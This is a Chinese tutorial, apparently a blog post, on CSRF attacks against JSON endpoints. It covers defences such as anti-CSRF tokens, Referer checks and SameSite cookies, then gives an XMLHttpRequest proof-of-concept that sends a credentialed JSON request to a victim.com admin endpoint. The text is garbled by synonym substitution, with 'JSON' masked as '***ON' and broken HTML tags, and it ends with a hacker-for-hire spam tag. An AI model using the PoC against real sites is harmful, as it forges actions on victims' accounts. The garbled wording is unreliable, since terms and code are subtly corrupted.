一、CSRF缝隙简介
csrf缝隙的成因便是网站的cookie在浏览器中不会过期,只需不封闭浏览器或许退出登录,那今后只需是拜访这个网站,都会默许你现已登录的状况。而在这个期间,进犯者发送了结构好的csrf脚本或包含csrf脚本的链接,或许会履行一些用户不想做的功用(比方是增加账号等)。这个操作不是用户真实想要履行的。
在post标准化格局(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,咱们能很轻松地结构页面来完成进犯,可是在json格局下,csrf进犯怎样完成呢?
那咱们为何不能运用这个惯例结构的PoC来运用 *** ON端点中的CSRF呢?原因如下:
1、POSTbody需求以 *** ON格局发送,而这种格局假如用HTML表单元从来构建的话会比较费事。
2、Content-Type头需求设置为application/json。设置自定义Header需求运用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检恳求。
1.1 防护计划
关于防护计划,一般有如下几种:
1)用户操作验证,在提交数据时需求输入验证码
2)恳求来历验证,验证恳求来历的referer
3)表单token验证
现在业界对CSRF的防护,共同的做法是运用一个Token(Anti CSRF Token)。
这个Token的值有必要是随机的,不行猜测的。因为Token的存在,进犯者无法再结构一个带有合法Token的恳求施行CSRF进犯。其他运用Token时应留意Token的保密性,尽量把灵敏操作由GET改为POST,以form或AJAX方式提交,防止Token走漏。
比方:
榜首步:用户拜访某个表单页面。
第二步:服务端生成一个Token,放在用户的Session中,或许浏览器的Cookie中。
第三步:在页面表单附带上Token参数。
第四步:用户提交恳求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token共同, 共同为合法恳求,不是则不合法恳求。
4) 在前后端别离的前提下(例如运用ajax提交数据)设置不了token,能够给 cookie 新增 SameSite 特点,经过这个特点能够符号哪个 cookie 只作为同站 cookie (即榜首方 cookie,不能作为第三方 cookie),已然不能作为第三方 cookie ,那么其他网站建议第三方恳求时,第三方网站是收不到这个被符号要害 cookie,后边的鉴权处理就好办了。这一切都不需求做 token 生命周期的办理,也不必忧虑 Referer 会丢掉或被半途被篡改。
SameStie 有两个值:Strict 和 Lax:
SameSite=Strict 严厉形式,运用 SameSite=Strict 符号的 cookie 在任何状况下(包含异步恳求和同步恳求),都不能作为第三方 cookie。
SameSite=Lax 宽松形式,运用 SameSite=Lax 符号的 cookie 在异步恳求 和 form 提交跳转的状况下,都不能作为第三方 cookie。
那么Strict和Lax的怎么运用呢?
登录态要害的 cookie 都能够设置为 Strict。
后台依据用户的登录态动态新建一个能够用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比方微博什么的,你期望用户在微博上翻开你的链接还能坚持登录态。
假如你的页面有或许被第三方网站去iframe或有接口需求做jsonp ,那么都不能设置 Strict 或 Lax。
二、不验证CONTENT-TYPE的状况
假如服务端没有校验Content-Type,或许没有严厉校验Content-Type是否为application/json,咱们能够运用XHR来完成csrf,poc如下:
html>
head>
script style="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send( *** ON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2019-11-01 00:00:00","disableTime":"2019-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
}
script>
head>
body>
form action="#">
input type="button" value="Submit request" onClick="submitRequest()"/>
form>
body>
html>
三、验证CONTENT-TYPE的状况
当然了,运用XMLHttpRequest、fetch能结构出 *** ON恳求,并且能设置Content-Type,可是无法跨域。[1][2][3]黑客接单网